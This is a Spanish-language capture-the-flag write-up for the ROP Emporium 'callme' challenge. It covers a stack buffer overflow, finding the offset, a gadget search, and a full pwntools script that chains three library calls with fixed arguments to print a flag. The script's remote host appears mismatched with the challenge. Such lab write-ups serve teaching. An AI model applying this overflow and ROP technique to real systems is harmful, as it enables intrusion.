callme
August 17, 20254 minutes
{
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("callme by ROP Emporium");
puts("x86_64\n");
pwnme();
puts("\nExiting");
return 0;
}
La función main llama a la función pwnme().
En la función pwnme hay un claro BoF, hay un buffer de 32 bytes y el programa permite al usuario llegar a escribir en ese buffer 0x200 bytes
int pwnme()
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF
memset(s, 0, sizeof(s));
puts("Hope you read the instructions...\n");
printf("> ");
read(0, s, 0x200uLL);
return puts("Thank you!");
}
Con un cyclic se puede encontrar el offset
pwndbg> cyclic 300
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
callme by ROP Emporium
x86_64
Hope you read the instructions...
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
pwndbg> cyclic -l faaaaaaa
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40
El offset es de 40.
Ahora se podría intentar un ret2libc, pero la libc que se proporciona para el reto no tiene system….
[d3bo@archlinux rop_emporium]$ readelf -s libcallme.so | grep system
[d3bo@archlinux rop_emporium]$
Dentro del binario hay unas funciones que llaman la atención

Hay 3 funciones
- callme_one
- callme_two
- callme_three
Todas dentro solo tienen extrn callme_one:near respectivamente.
Esto hace pensar que lo está cargando desde libc y que es una función externa.
Así que abre el libc proporcionado con ida
- callme_one:
int __fastcall callme_one(__int64 a1, __int64 a2, __int64 a3)
{
FILE *stream; // [rsp+28h] [rbp-8h]
if ( a1 != 0xDEADBEEFDEADBEEFLL || a2 != 0xCAFEBABECAFEBABELL || a3 != 0xD00DF00DD00DF00DLL )
{
puts("Incorrect parameters");
exit(1);
}
stream = fopen("encrypted_flag.dat", "r");
if ( !stream )
{
puts("Failed to open encrypted_flag.dat");
exit(1);
}
g_buf = (char *)malloc(0x21uLL);
if ( !g_buf )
{
puts("Could not allocate memory");
exit(1);
}
g_buf = fgets(g_buf, 33, stream);
fclose(stream);
return puts("callme_one() called correctly");
}
- callme_two:
int __fastcall callme_two(__int64 a1, __int64 a2, __int64 a3)
{
int i; // [rsp+24h] [rbp-Ch]
FILE *stream; // [rsp+28h] [rbp-8h]
if ( a1 != 0xDEADBEEFDEADBEEFLL || a2 != 0xCAFEBABECAFEBABELL || a3 != 0xD00DF00DD00DF00DLL )
{
puts("Incorrect parameters");
exit(1);
}
stream = fopen("key1.dat", "r");
if ( !stream )
{
puts("Failed to open key1.dat");
exit(1);
}
for ( i = 0; i <= 15; ++i )
g_buf[i] ^= fgetc(stream);
return puts("callme_two() called correctly");
}
- callme_three:
void __fastcall __noreturn callme_three(__int64 a1, __int64 a2, __int64 a3)
{
int i; // [rsp+24h] [rbp-Ch]
FILE *stream; // [rsp+28h] [rbp-8h]
if ( a1 == 0xDEADBEEFDEADBEEFLL && a2 == 0xCAFEBABECAFEBABELL && a3 == 0xD00DF00DD00DF00DLL )
{
stream = fopen("key2.dat", "r");
if ( !stream )
{
puts("Failed to open key2.dat");
exit(1);
}
for ( i = 16; i <= 31; ++i )
g_buf[i] ^= fgetc(stream);
*(_QWORD *)(g_buf + 4) ^= 0xDEADBEEFDEADBEEFLL;
*(_QWORD *)(g_buf + 12) ^= 0xCAFEBABECAFEBABELL;
*(_QWORD *)(g_buf + 20) ^= 0xD00DF00DD00DF00DLL;
puts(g_buf);
exit(0);
}
puts("Incorrect parameters");
exit(1);
Parece que cada función forma parte de un proceso de desencriptar una flag.
Lo que hay que hacer ahora es crear un ROP para llamar a las 3 funciones y que se muestre la flag desencriptada que hay en el servidor.
Hay que tener en cuenta que cada función recibe 3 argumentos. Así que hay que usar un gadget, (pequeño recuerdo de que el primer argumento se pasa a través de rdi, el segundo a través de rsi, y el tercero a través de rdx), por lo que este gadget va como anillo al dedo
[d3bo@archlinux rop_emporium]$ ROPgadget --binary callme | grep "pop rsi"
....
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
El pop sacará el valor del rsp y lo guardara en el registro correspondiente, esto hay que hacerlo antes de llamar a la función, si no tienes muy claro como funcionan los ROP te recomiendo mirar el writeup del reto Restaurant
#!/usr/bin/env python3
from pwn import *
exe = ELF("./callme")
libc = ELF("./libcallme.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
else:
r = remote("saturn.picoctf.net", 60804)
return r
def main():
r = conn()
pop_rdi_pop_rsi_pop_rdx = 0x000000000040093c
callme_one = 0x0000000000400720
callme_two = 0x0000000000400740
callme_three = 0x00000000004006f0
offset = 40
payload = flat({
offset: [
pop_rdi_pop_rsi_pop_rdx, 0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D,
callme_one,
pop_rdi_pop_rsi_pop_rdx, 0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D,
callme_two,
pop_rdi_pop_rsi_pop_rdx, 0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D,
callme_three
]})
r.sendlineafter(b'>', payload)
r.interactive()
if __name__ == "__main__":
main()
